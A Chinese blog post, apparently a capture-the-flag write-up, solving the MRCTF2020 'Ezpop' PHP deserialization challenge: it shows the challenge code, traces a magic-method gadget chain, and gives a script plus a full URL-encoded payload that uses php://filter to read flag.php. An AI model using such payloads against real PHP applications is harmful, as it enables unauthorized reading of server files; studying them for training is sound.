当前位置:网站首页>[MRCTF2020]Ezpop-1|php序列化
[MRCTF2020]Ezpop-1|php序列化
2022-06-30 01:28:00 【u012804784】
优质资源分享
| 学习路线指引(点击解锁) | 知识定位 | 人群定位 |
|---|---|---|
| 🧡 Python实战微信订餐小程序 🧡 | 进阶级 | 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。 |
| Python量化交易实战 | 入门级 | 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统 |
1、打开题目获取到源代码信息,如下:

Welcome to index.php
php</span
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function \_\_invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function \_\_construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."";
}
public function \_\_toString(){
return $this->str->source;
}
public function \_\_wakeup(){
if(preg\_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function \_\_construct(){
$this->p = array();
}
public function \_\_get($key){
$function = $this->p;
return $function();
}
}
if(isset($\_GET['pop'])){
@unserialize($\_GET['pop']);
}
else{
$a=new Show;
highlight\_file(\_\_FILE\_\_);
}折叠
2、我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件,发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息,所以现在我们的目的就成了调用append函数,接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息,那该怎么执行__invoke函数呢:

因此,此时我们应该使用别的函数来调用Modifier的一个对象,继续观察源代码发现只有test类的__get函数接收了参数值,因此我们就将Modifier对象传入到__get函数中,所以现在的目的就成了执行__get函数,那又该怎么执行__get函数呢:

所以此时就需要一个函数来调用test类中不存在的属性,这里要注意一下这行代码:$this->str->source,这里这么会有两个->呢,因为这里str就是test类的一个对象,然后调用test类的对象的soucre属性,但是这个属性在test类中并不存在,因此就会执行__get方法,所以现在我们就是要执行__toString函数,那我们又该如何执行__toString函数呢:

所以此时我们就需要通过执行show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '. t h i s − > s o u r c e . " " 中 的 this->source.""中的 this−>source.""中的this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。
3、分析完之后就需要根据分析过程来写脚本,脚本内容如下:
php</span
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
4、访问之后获得加密的flag.php文件,进行base64解密,结果如下:
flag.php文件:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解密后信息:

边栏推荐
- 81. 搜索旋转排序数组 II
- The first unlucky person watching eth 2.0
- Internal class usage scenarios, syntax and principle explanations
- Ansible ad-hoc 临时命令
- Machinery -- nx2007 (UG) finite element analysis tutorial 1 -- simple object
- C语言 素数对猜想
- 【图神经网络】图分类学习研究综述[3]:图分类方法评价及未来研究方向
- How to unify the use of package manager in a project?
- GeoTools:WKT、GeoJson、Feature、FeatureCollection相互转换常用工具
- 首届·技术播客月开播在即
猜你喜欢

I, 33 years old, ByteDance test development, unveiled the real income of Beijing "test post"

Kwai reached out to the "supply side" to find the "source" of live broadcast e-commerce?

C语言 数组元素循环右移问题

Ansible ad-hoc 临时命令

JS returned content is encoded by Unicode

【推荐系统】基于用户的协同过滤简明原理与代码实现

Seata 与三大平台携手编程之夏,百万奖金等你来拿

Embedded exit (review and release)
![【图神经网络】图分类学习研究综述[2]:基于图神经网络的图分类](/img/5f/b23b64eed7f28ffd92c122b6859e2d.png)
【图神经网络】图分类学习研究综述[2]:基于图神经网络的图分类

JS reverse request parameter encryption:
随机推荐
Understanding of int argc, char * * argv in C language main function
Pytorch中transforms的用法整理
Varnish foundation overview 3
c语言期末不挂科(上)
Mysql 监控5
The Web3 era is coming? Inventory of five Web3 representative projects | footprint analytics
C语言 数组元素循环右移问题
Internal class usage scenarios, syntax and principle explanations
The 8th "Internet +" competition - cloud native track invites you to challenge
【PyTorch实战】生成对抗网络GAN:生成动漫人物头像
Mysql 监控6
Varnish 基础概览6
MySQL function
Sentinel source code analysis Chapter 9 - core process - lookprocesschain finding resource processing chain
Embedded exit (review and release)
Mechanical --nx2007 (UG) -- gap analysis (interference inspection)
Solving plane stress problem with MATLAB
Varnish 基础概览2
Mysql 监控
C language final without failing (Part 1)